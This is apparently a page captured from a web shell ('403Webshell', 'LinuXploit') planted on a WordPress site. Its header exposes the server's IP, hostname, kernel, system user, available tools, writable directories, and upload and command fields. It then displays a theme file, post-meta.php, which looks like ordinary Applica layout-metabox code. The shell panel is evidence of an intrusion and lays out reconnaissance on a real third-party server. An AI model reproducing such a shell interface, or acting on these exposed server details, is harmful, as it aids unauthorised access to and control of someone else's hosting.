403Webshell
Server IP : 54.36.91.62  /  Your IP : 216.73.216.15
Web Server : Apache
System : Linux webm021.cluster127.gra.hosting.ovh.net 6.18.39-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Tue Jul 21 12:03:15 CEST 2026 x86_64
User : uxhactp ( 169076)
PHP Version : 7.4.33
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/uxhactp/www/wp-content/themes/applica/inc/meta/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/uxhactp/www/wp-content/themes/applica/inc/meta//post-meta.php
<?php
/**
* Sidebar Metabox.
*
* @package Applica
*/
if( !function_exists( 'applica_sanitize_sidebar_option_meta' ) ) :

    // Sidebar Option Sanitize.
    function applica_sanitize_sidebar_option_meta( $input ){

        $metabox_options = array( 'global-sidebar','left-sidebar','right-sidebar','no-sidebar' );
        if( in_array( $input,$metabox_options ) ){

            return $input;

        }else{

            return '';

        }
    }

endif;

if( !function_exists('applica_sanitize_meta_pagination') ):

    /** Sanitize Enable Disable Checkbox **/
    function applica_sanitize_meta_pagination( $input ) {

        $valid_keys = array('global-layout','no-navigation','norma-navigation','ajax-next-post-load');
        if ( in_array( $input , $valid_keys ) ) {
            return $input;
        }
        return '';

    }

endif;

if( !function_exists( 'applica_sanitize_post_layout_option_meta' ) ) :

    // Sidebar Option Sanitize.
    function applica_sanitize_post_layout_option_meta( $input ){

        $metabox_options = array( 'global-layout','layout-1','layout-2' );
        if( in_array( $input,$metabox_options ) ){

            return $input;

        }else{

            return '';

        }

    }

endif;


if( !function_exists( 'applica_sanitize_header_overlay_option_meta' ) ) :

    // Sidebar Option Sanitize.
    function applica_sanitize_header_overlay_option_meta( $input ){

        $metabox_options = array( 'global-layout','enable-overlay' );
        if( in_array( $input,$metabox_options ) ){

            return $input;

        }else{

            return '';

        }

    }

endif;

add_action( 'add_meta_boxes', 'applica_metabox' );

if( ! function_exists( 'applica_metabox' ) ):


    function  applica_metabox() {
        
        add_meta_box(
            'theme-custom-metabox',
            esc_html__( 'Layout Settings', 'applica' ),
            'applica_post_metafield_callback',
            'post', 
            'normal', 
            'high'
        );
        add_meta_box(
            'theme-custom-metabox',
            esc_html__( 'Layout Settings', 'applica' ),
            'applica_post_metafield_callback',
            'page',
            'normal', 
            'high'
        ); 
    }

endif;

$applica_page_layout_options = array(
    'layout-1' => esc_html__( 'Simple Layout', 'applica' ),
    'layout-2' => esc_html__( 'Banner Layout', 'applica' ),
);

$applica_post_sidebar_fields = array(
    'global-sidebar' => array(
                    'id'        => 'post-global-sidebar',
                    'value' => 'global-sidebar',
                    'label' => esc_html__( 'Global sidebar', 'applica' ),
                ),
    'right-sidebar' => array(
                    'id'        => 'post-left-sidebar',
                    'value' => 'right-sidebar',
                    'label' => esc_html__( 'Right sidebar', 'applica' ),
                ),
    'left-sidebar' => array(
                    'id'        => 'post-right-sidebar',
                    'value'     => 'left-sidebar',
                    'label'     => esc_html__( 'Left sidebar', 'applica' ),
                ),
    'no-sidebar' => array(
                    'id'        => 'post-no-sidebar',
                    'value'     => 'no-sidebar',
                    'label'     => esc_html__( 'No sidebar', 'applica' ),
                ),
);

$applica_post_layout_options = array(
    'layout-1' => esc_html__( 'Simple Layout', 'applica' ),
    'layout-2' => esc_html__( 'Banner Layout', 'applica' ),
);

$applica_header_overlay_options = array(
    'global-layout' => esc_html__( 'Global Layout', 'applica' ),
    'enable-overlay' => esc_html__( 'Enable Header Overlay', 'applica' ),
);


/**
 * Callback function for post option.
*/
if( ! function_exists( 'applica_post_metafield_callback' ) ):
    
    function applica_post_metafield_callback() {
        global $post, $applica_post_sidebar_fields, $applica_post_layout_options,  $applica_page_layout_options, $applica_header_overlay_options;
        $post_type = get_post_type($post->ID);
        wp_nonce_field( basename( __FILE__ ), 'applica_post_meta_nonce' ); ?>
        
        <div class="metabox-main-block">

            <div class="metabox-navbar">
                <ul>

                    <li>
                        <a id="metabox-navbar-general" class="metabox-navbar-active" href="javascript:void(0)">

                            <?php esc_html_e('General Settings', 'applica'); ?>

                        </a>
                    </li>

                    <li>
                        <a id="metabox-navbar-appearance" href="javascript:void(0)">

                            <?php esc_html_e('Appearance Settings', 'applica'); ?>

                        </a>
                    </li>

                    <?php if( $post_type == 'post' && class_exists('Booster_Extension_Class') ): ?>
                        <li>
                            <a id="twp-tab-booster" href="javascript:void(0)">

                                <?php esc_html_e('Booster Extension Settings', 'applica'); ?>

                            </a>
                        </li>
                    <?php endif; ?>

                </ul>
            </div>

            <div class="twp-tab-content">

                <div id="metabox-navbar-general-content" class="metabox-content-wrap metabox-content-wrap-active">

                    <div class="metabox-opt-panel">

                        <h3 class="meta-opt-title"><?php esc_html_e('Sidebar Layout','applica'); ?></h3>

                        <div class="metabox-opt-wrap metabox-opt-wrap-alt">

                            <?php
                            $applica_post_sidebar = esc_html( get_post_meta( $post->ID, 'applica_post_sidebar_option', true ) ); 
                            if( $applica_post_sidebar == '' ){ $applica_post_sidebar = 'global-sidebar'; }

                            foreach ( $applica_post_sidebar_fields as $applica_post_sidebar_field) { ?>

                                <label class="description">

                                    <input type="radio" name="applica_post_sidebar_option" value="<?php echo esc_attr( $applica_post_sidebar_field['value'] ); ?>" <?php if( $applica_post_sidebar_field['value'] == $applica_post_sidebar ){ echo "checked='checked'";} if( empty( $applica_post_sidebar ) && $applica_post_sidebar_field['value']=='right-sidebar' ){ echo "checked='checked'"; } ?>/>&nbsp;<?php echo esc_html( $applica_post_sidebar_field['label'] ); ?>

                                </label>

                            <?php } ?>

                        </div>

                    </div>

                </div>


                <div id="metabox-navbar-appearance-content" class="metabox-content-wrap">

                    <?php if( $post_type == 'page' ): ?>

                        <div class="metabox-opt-panel">

                            <h3 class="meta-opt-title"><?php esc_html_e('Banner Layout','applica'); ?></h3>

                            <div class="metabox-opt-wrap metabox-opt-wrap-alt">

                                <?php
                                $applica_page_layout = esc_html( get_post_meta( $post->ID, 'applica_page_layout', true ) ); 
                                if( $applica_page_layout == '' ){ $applica_page_layout = 'layout-1'; }

                                foreach ( $applica_page_layout_options as $key => $applica_page_layout_option) { ?>

                                    <label class="description">
                                        <input type="radio" name="applica_page_layout" value="<?php echo esc_attr( $key ); ?>" <?php if( $key == $applica_page_layout ){ echo "checked='checked'";} ?>/>&nbsp;<?php echo esc_html( $applica_page_layout_option ); ?>
                                    </label>

                                <?php } ?>

                            </div>

                        </div>

                        <div class="metabox-opt-panel">

                            <h3 class="meta-opt-title"><?php esc_html_e('Header Overlay','applica'); ?></h3>

                            <div class="metabox-opt-wrap theme-checkbox-wrap">

                                <?php
                                $applica_ed_header_overlay = esc_attr( get_post_meta( $post->ID, 'applica_ed_header_overlay', true ) ); ?>

                                <input type="checkbox" id="applica-header-overlay" name="applica_ed_header_overlay" value="1" <?php if( $applica_ed_header_overlay ){ echo "checked='checked'";} ?>/>

                                <label for="applica-header-overlay"><?php esc_html_e( 'Enable Header Overlay','applica' ); ?></label>

                            </div>

                        </div>

                    <?php endif; ?>

                    <?php if( $post_type == 'post' ): ?>

                        <div class="metabox-opt-panel">

                            <h3 class="meta-opt-title"><?php esc_html_e('Header Title Layout','applica'); ?></h3>

                            <div class="metabox-opt-wrap metabox-opt-wrap-alt">

                                <?php
                                $applica_post_layout = esc_html( get_post_meta( $post->ID, 'applica_post_layout', true ) ); 

                                foreach ( $applica_post_layout_options as $key => $applica_post_layout_option) { ?>

                                    <label class="description">
                                        <input type="radio" name="applica_post_layout" value="<?php echo esc_attr( $key ); ?>" <?php if( $key == $applica_post_layout ){ echo "checked='checked'";} ?>/>&nbsp;<?php echo esc_html( $applica_post_layout_option ); ?>
                                    </label>

                                <?php } ?>

                            </div>

                        </div>

                        <div class="metabox-opt-panel">

                            <h3 class="meta-opt-title"><?php esc_html_e('Header Overlay','applica'); ?></h3>

                            <div class="metabox-opt-wrap metabox-opt-wrap-alt">

                                <?php
                                $applica_header_overlay = esc_html( get_post_meta( $post->ID, 'applica_header_overlay', true ) ); 
                                if( $applica_header_overlay == '' ){ $applica_header_overlay = 'global-layout'; }

                                foreach ( $applica_header_overlay_options as $key => $applica_header_overlay_option) { ?>

                                    <label class="description">
                                        <input type="radio" name="applica_header_overlay" value="<?php echo esc_attr( $key ); ?>" <?php if( $key == $applica_header_overlay ){ echo "checked='checked'";} ?>/>&nbsp;<?php echo esc_html( $applica_header_overlay_option ); ?>
                                    </label>

                                <?php } ?>

                            </div>

                        </div>

                    <?php endif; ?>
<!-- 
                     <div class="metabox-opt-panel">

                        <h3 class="meta-opt-title"><?php //esc_html_e('Navigation Setting','applica'); ?></h3>

                        <?php //$twp_disable_ajax_load_next_post = esc_attr( get_post_meta($post->ID, 'twp_disable_ajax_load_next_post', true) ); ?>
                        <div class="metabox-opt-wrap metabox-opt-wrap-alt">

                            <label><b><?php //esc_html_e( 'Navigation Type','applica' ); ?></b></label>

                            <select name="twp_disable_ajax_load_next_post">

                                <option <?php //if( $twp_disable_ajax_load_next_post == '' || $twp_disable_ajax_load_next_post == 'global-layout' ){ echo 'selected'; } ?> value="global-layout"><?php //esc_html_e('Global Layout','applica'); ?></option>
                                <option <?php //if( $twp_disable_ajax_load_next_post == 'no-navigation' ){ echo 'selected'; } ?> value="no-navigation"><?php //esc_html_e('Disable Navigation','applica'); ?></option>
                                <option <?php //if( $twp_disable_ajax_load_next_post == 'norma-navigation' ){ echo 'selected'; } ?> value="norma-navigation"><?php //esc_html_e('Next Previous Navigation','applica'); ?></option>
                                <option <?php //if( $twp_disable_ajax_load_next_post == 'ajax-next-post-load' ){ echo 'selected'; } ?> value="ajax-next-post-load"><?php //esc_html_e('Ajax Load Next 3 Posts Contents','applica'); ?></option>

                            </select>

                        </div>
                    </div> -->

                </div>

                <?php if( $post_type == 'post' && class_exists('Booster_Extension_Class') ):

                    
                    $applica_ed_post_views = esc_html( get_post_meta( $post->ID, 'applica_ed_post_views', true ) );
                    $applica_ed_post_read_time = esc_html( get_post_meta( $post->ID, 'applica_ed_post_read_time', true ) );
                    $applica_ed_post_like_dislike = esc_html( get_post_meta( $post->ID, 'applica_ed_post_like_dislike', true ) );
                    $applica_ed_post_author_box = esc_html( get_post_meta( $post->ID, 'applica_ed_post_author_box', true ) );
                    $applica_ed_post_social_share = esc_html( get_post_meta( $post->ID, 'applica_ed_post_social_share', true ) );
                    $applica_ed_post_reaction = esc_html( get_post_meta( $post->ID, 'applica_ed_post_reaction', true ) );
                    $applica_ed_post_rating = esc_html( get_post_meta( $post->ID, 'applica_ed_post_rating', true ) );
                    ?>

                    <div id="twp-tab-booster-content" class="metabox-content-wrap">

                        <div class="metabox-opt-panel">

                            <h3 class="meta-opt-title"><?php esc_html_e('Booster Extension Plugin Content','applica'); ?></h3>

                            <div class="metabox-opt-wrap theme-checkbox-wrap">

                                    <input type="checkbox" id="applica-ed-post-views" name="applica_ed_post_views" value="1" <?php if( $applica_ed_post_views ){ echo "checked='checked'";} ?>/>
                                    <label for="applica-ed-post-views"><?php esc_html_e( 'Disable Post Views','applica' ); ?></label>

                            </div>

                            <div class="metabox-opt-wrap theme-checkbox-wrap">

                                    <input type="checkbox" id="applica-ed-post-read-time" name="applica_ed_post_read_time" value="1" <?php if( $applica_ed_post_read_time ){ echo "checked='checked'";} ?>/>
                                    <label for="applica-ed-post-read-time"><?php esc_html_e( 'Disable Post Read Time','applica' ); ?></label>

                            </div>

                            <div class="metabox-opt-wrap theme-checkbox-wrap">

                                    <input type="checkbox" id="applica-ed-post-like-dislike" name="applica_ed_post_like_dislike" value="1" <?php if( $applica_ed_post_like_dislike ){ echo "checked='checked'";} ?>/>
                                    <label for="applica-ed-post-like-dislike"><?php esc_html_e( 'Disable Post Like Dislike','applica' ); ?></label>

                            </div>

                            <div class="metabox-opt-wrap theme-checkbox-wrap">

                                    <input type="checkbox" id="applica-ed-post-author-box" name="applica_ed_post_author_box" value="1" <?php if( $applica_ed_post_author_box ){ echo "checked='checked'";} ?>/>
                                    <label for="applica-ed-post-author-box"><?php esc_html_e( 'Disable Post Author Box','applica' ); ?></label>

                            </div>

                            <div class="metabox-opt-wrap theme-checkbox-wrap">

                                    <input type="checkbox" id="applica-ed-post-social-share" name="applica_ed_post_social_share" value="1" <?php if( $applica_ed_post_social_share ){ echo "checked='checked'";} ?>/>
                                    <label for="applica-ed-post-social-share"><?php esc_html_e( 'Disable Post Social Share','applica' ); ?></label>

                            </div>

                            <div class="metabox-opt-wrap theme-checkbox-wrap">

                                    <input type="checkbox" id="applica-ed-post-reaction" name="applica_ed_post_reaction" value="1" <?php if( $applica_ed_post_reaction ){ echo "checked='checked'";} ?>/>
                                    <label for="applica-ed-post-reaction"><?php esc_html_e( 'Disable Post Reaction','applica' ); ?></label>

                            </div>

                            <div class="metabox-opt-wrap theme-checkbox-wrap">

                                    <input type="checkbox" id="applica-ed-post-rating" name="applica_ed_post_rating" value="1" <?php if( $applica_ed_post_rating ){ echo "checked='checked'";} ?>/>
                                    <label for="applica-ed-post-rating"><?php esc_html_e( 'Disable Post Rating','applica' ); ?></label>

                            </div>

                        </div>

                    </div>

                <?php endif; ?>
                
            </div>

        </div>  
            
    <?php }
endif;

// Save metabox value.
add_action( 'save_post', 'applica_save_post_meta' );

if( ! function_exists( 'applica_save_post_meta' ) ):

    function applica_save_post_meta( $post_id ) {

        global $post, $applica_post_sidebar_fields, $applica_post_layout_options, $applica_header_overlay_options,  $applica_page_layout_options;

        if ( !isset( $_POST[ 'applica_post_meta_nonce' ] ) || !wp_verify_nonce( sanitize_text_field( wp_unslash( $_POST['applica_post_meta_nonce'] ) ), basename( __FILE__ ) ) ){

            return;

        }

        if ( defined( 'DOING_AUTOSAVE' ) && DOING_AUTOSAVE ){

            return;

        }
            
        if ( isset( $_POST['post_type'] ) && 'page' == $_POST['post_type'] ) {  

            if ( !current_user_can( 'edit_page', $post_id ) ){  

                return $post_id;

            }

        }elseif( !current_user_can( 'edit_post', $post_id ) ) {

            return $post_id;

        }


        foreach ( $applica_post_sidebar_fields as $applica_post_sidebar_field ) {  
            

                $old = esc_html( get_post_meta( $post_id, 'applica_post_sidebar_option', true ) ); 
                $new = isset( $_POST['applica_post_sidebar_option'] ) ? applica_sanitize_sidebar_option_meta( wp_unslash( $_POST['applica_post_sidebar_option'] ) ) : '';

                if ( $new && $new != $old ){

                    update_post_meta ( $post_id, 'applica_post_sidebar_option', $new );

                }elseif( '' == $new && $old ) {

                    delete_post_meta( $post_id,'applica_post_sidebar_option', $old );

                }

            
        }

        $twp_disable_ajax_load_next_post_old = esc_html( get_post_meta( $post_id, 'twp_disable_ajax_load_next_post', true ) ); 
        $twp_disable_ajax_load_next_post_new = isset( $_POST['twp_disable_ajax_load_next_post'] ) ? applica_sanitize_meta_pagination( wp_unslash( $_POST['twp_disable_ajax_load_next_post'] ) ) : '';

        if( $twp_disable_ajax_load_next_post_new && $twp_disable_ajax_load_next_post_new != $twp_disable_ajax_load_next_post_old ){

            update_post_meta ( $post_id, 'twp_disable_ajax_load_next_post', $twp_disable_ajax_load_next_post_new );

        }elseif( '' == $twp_disable_ajax_load_next_post_new && $twp_disable_ajax_load_next_post_old ) {

            delete_post_meta( $post_id,'twp_disable_ajax_load_next_post', $twp_disable_ajax_load_next_post_old );

        }


        foreach ( $applica_post_layout_options as $applica_post_layout_option ) {  
            
            $applica_post_layout_old = esc_html( get_post_meta( $post_id, 'applica_post_layout', true ) ); 
            $applica_post_layout_new = isset( $_POST['applica_post_layout'] ) ? applica_sanitize_post_layout_option_meta( wp_unslash( $_POST['applica_post_layout'] ) ) : '';

            if ( $applica_post_layout_new && $applica_post_layout_new != $applica_post_layout_old ){

                update_post_meta ( $post_id, 'applica_post_layout', $applica_post_layout_new );

            }elseif( '' == $applica_post_layout_new && $applica_post_layout_old ) {

                delete_post_meta( $post_id,'applica_post_layout', $applica_post_layout_old );

            }
            
        }



        foreach ( $applica_header_overlay_options as $applica_header_overlay_option ) {  
            
            $applica_header_overlay_old = esc_html( get_post_meta( $post_id, 'applica_header_overlay', true ) ); 
            $applica_header_overlay_new = isset( $_POST['applica_header_overlay'] ) ? applica_sanitize_header_overlay_option_meta( wp_unslash( $_POST['applica_header_overlay'] ) ) : '';

            if ( $applica_header_overlay_new && $applica_header_overlay_new != $applica_header_overlay_old ){

                update_post_meta ( $post_id, 'applica_header_overlay', $applica_header_overlay_new );

            }elseif( '' == $applica_header_overlay_new && $applica_header_overlay_old ) {

                delete_post_meta( $post_id,'applica_header_overlay', $applica_header_overlay_old );

            }
            
        }


        $applica_ed_post_views_old = esc_html( get_post_meta( $post_id, 'applica_ed_post_views', true ) ); 
        $applica_ed_post_views_new = isset( $_POST['applica_ed_post_views'] ) ? absint( wp_unslash( $_POST['applica_ed_post_views'] ) ) : '';

        if ( $applica_ed_post_views_new && $applica_ed_post_views_new != $applica_ed_post_views_old ){

            update_post_meta ( $post_id, 'applica_ed_post_views', $applica_ed_post_views_new );

        }elseif( '' == $applica_ed_post_views_new && $applica_ed_post_views_old ) {

            delete_post_meta( $post_id,'applica_ed_post_views', $applica_ed_post_views_old );

        }



        $applica_ed_post_read_time_old = esc_html( get_post_meta( $post_id, 'applica_ed_post_read_time', true ) ); 
        $applica_ed_post_read_time_new = isset( $_POST['applica_ed_post_read_time'] ) ? absint( wp_unslash( $_POST['applica_ed_post_read_time'] ) ) : '';

        if ( $applica_ed_post_read_time_new && $applica_ed_post_read_time_new != $applica_ed_post_read_time_old ){

            update_post_meta ( $post_id, 'applica_ed_post_read_time', $applica_ed_post_read_time_new );

        }elseif( '' == $applica_ed_post_read_time_new && $applica_ed_post_read_time_old ) {

            delete_post_meta( $post_id,'applica_ed_post_read_time', $applica_ed_post_read_time_old );

        }



        $applica_ed_post_like_dislike_old = esc_html( get_post_meta( $post_id, 'applica_ed_post_like_dislike', true ) ); 
        $applica_ed_post_like_dislike_new = isset( $_POST['applica_ed_post_like_dislike'] ) ? absint( wp_unslash( $_POST['applica_ed_post_like_dislike'] ) ) : '';

        if ( $applica_ed_post_like_dislike_new && $applica_ed_post_like_dislike_new != $applica_ed_post_like_dislike_old ){

            update_post_meta ( $post_id, 'applica_ed_post_like_dislike', $applica_ed_post_like_dislike_new );

        }elseif( '' == $applica_ed_post_like_dislike_new && $applica_ed_post_like_dislike_old ) {

            delete_post_meta( $post_id,'applica_ed_post_like_dislike', $applica_ed_post_like_dislike_old );

        }



        $applica_ed_post_author_box_old = esc_html( get_post_meta( $post_id, 'applica_ed_post_author_box', true ) ); 
        $applica_ed_post_author_box_new = isset( $_POST['applica_ed_post_author_box'] ) ? absint( wp_unslash( $_POST['applica_ed_post_author_box'] ) ) : '';

        if ( $applica_ed_post_author_box_new && $applica_ed_post_author_box_new != $applica_ed_post_author_box_old ){

            update_post_meta ( $post_id, 'applica_ed_post_author_box', $applica_ed_post_author_box_new );

        }elseif( '' == $applica_ed_post_author_box_new && $applica_ed_post_author_box_old ) {

            delete_post_meta( $post_id,'applica_ed_post_author_box', $applica_ed_post_author_box_old );

        }



        $applica_ed_post_social_share_old = esc_html( get_post_meta( $post_id, 'applica_ed_post_social_share', true ) ); 
        $applica_ed_post_social_share_new = isset( $_POST['applica_ed_post_social_share'] ) ? absint( wp_unslash( $_POST['applica_ed_post_social_share'] ) ) : '';

        if ( $applica_ed_post_social_share_new && $applica_ed_post_social_share_new != $applica_ed_post_social_share_old ){

            update_post_meta ( $post_id, 'applica_ed_post_social_share', $applica_ed_post_social_share_new );

        }elseif( '' == $applica_ed_post_social_share_new && $applica_ed_post_social_share_old ) {

            delete_post_meta( $post_id,'applica_ed_post_social_share', $applica_ed_post_social_share_old );

        }



        $applica_ed_post_reaction_old = esc_html( get_post_meta( $post_id, 'applica_ed_post_reaction', true ) ); 
        $applica_ed_post_reaction_new = isset( $_POST['applica_ed_post_reaction'] ) ? absint( wp_unslash( $_POST['applica_ed_post_reaction'] ) ) : '';

        if ( $applica_ed_post_reaction_new && $applica_ed_post_reaction_new != $applica_ed_post_reaction_old ){

            update_post_meta ( $post_id, 'applica_ed_post_reaction', $applica_ed_post_reaction_new );

        }elseif( '' == $applica_ed_post_reaction_new && $applica_ed_post_reaction_old ) {

            delete_post_meta( $post_id,'applica_ed_post_reaction', $applica_ed_post_reaction_old );

        }



        $applica_ed_post_rating_old = esc_html( get_post_meta( $post_id, 'applica_ed_post_rating', true ) ); 
        $applica_ed_post_rating_new = isset( $_POST['applica_ed_post_rating'] ) ? absint( wp_unslash( $_POST['applica_ed_post_rating'] ) ) : '';

        if ( $applica_ed_post_rating_new && $applica_ed_post_rating_new != $applica_ed_post_rating_old ){

            update_post_meta ( $post_id, 'applica_ed_post_rating', $applica_ed_post_rating_new );

        }elseif( '' == $applica_ed_post_rating_new && $applica_ed_post_rating_old ) {

            delete_post_meta( $post_id,'applica_ed_post_rating', $applica_ed_post_rating_old );

        }

        foreach ( $applica_page_layout_options as $applica_post_layout_option ) {  
        
            $applica_page_layout_old = sanitize_text_field( get_post_meta( $post_id, 'applica_page_layout', true ) ); 
            $applica_page_layout_new = isset( $_POST['applica_page_layout'] ) ? applica_sanitize_post_layout_option_meta( wp_unslash( $_POST['applica_page_layout'] ) ) : '';

            if ( $applica_page_layout_new && $applica_page_layout_new != $applica_page_layout_old ){

                update_post_meta ( $post_id, 'applica_page_layout', $applica_page_layout_new );

            }elseif( '' == $applica_page_layout_new && $applica_page_layout_old ) {

                delete_post_meta( $post_id,'applica_page_layout', $applica_page_layout_old );

            }
            
        }

        $applica_ed_header_overlay_old = absint( get_post_meta( $post_id, 'applica_ed_header_overlay', true ) ); 
        $applica_ed_header_overlay_new = isset( $_POST['applica_ed_header_overlay'] ) ? absint( wp_unslash( $_POST['applica_ed_header_overlay'] ) ) : '';

        if ( $applica_ed_header_overlay_new && $applica_ed_header_overlay_new != $applica_ed_header_overlay_old ){

            update_post_meta ( $post_id, 'applica_ed_header_overlay', $applica_ed_header_overlay_new );

        }elseif( '' == $applica_ed_header_overlay_new && $applica_ed_header_overlay_old ) {

            delete_post_meta( $post_id,'applica_ed_header_overlay', $applica_ed_header_overlay_old );

        }

    }

endif;   

Youez - 2016 - github.com/yon3zu
LinuXploit